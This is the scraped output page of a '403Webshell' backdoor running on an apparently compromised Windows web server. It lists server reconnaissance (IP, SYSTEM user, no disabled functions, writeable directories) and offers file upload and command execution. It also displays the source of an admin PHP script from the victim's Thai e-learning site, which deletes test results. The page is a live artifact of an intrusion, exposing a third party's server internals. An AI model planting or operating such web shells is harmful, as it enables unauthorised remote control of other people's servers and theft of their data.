403Webshell
Server IP : 172.67.187.206  /  Your IP : 172.71.28.156
Web Server : Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
System : Windows NT WIN-ECQAAA40806 6.2 build 9200 (Windows Server 2012 Standard Edition) i586
User : SYSTEM ( 0)
PHP Version : 5.6.30
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /Inetpub/www/news/elearning/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /Inetpub/www/news/elearning/admin//clear_test.php
<?php

require '../configs/app_top.php';
if (!is_admin_logged_in()) {
  redirect(generate_admin_link("login"));
  exit;
}

if (isset($_GET['mode']) && $_GET['mode'] == 'delete') {

  $redirectTo = "exams_results";
  $id = safe_input($_GET['id']);

  try {

    $sql = "DELETE FROM exp_test_results WHERE tr_subject_id = :id";
    $stmt = $DB->prepare($sql);
    $stmt->bindValue(":id", $id);
    $stmt->execute();
    $retval = $stmt->rowCount();

    if ($retval > 0) {
      $_SESSION["errorMsg"] = "เคลียร์ข้อมูลการสอบเรียบร้อย.";
      $_SESSION["errorType"] = "success";
    } else {
      $_SESSION["errorMsg"] = "ไม่สามารถเคลียร์ข้อมูลได้ อาจไม่พบข้อมูล";
      $_SESSION["errorType"] = "danger";
    }
  } catch (Exception $ex) {
    $_SESSION["errorMsg"] = $ex->getMessage();
    $_SESSION["errorType"] = "danger";
    
  }
  redirect(generate_admin_link($redirectTo));
  exit;
}
redirect(generate_admin_link("home"));
?>

Youez - 2016 - github.com/yon3zu
LinuXploit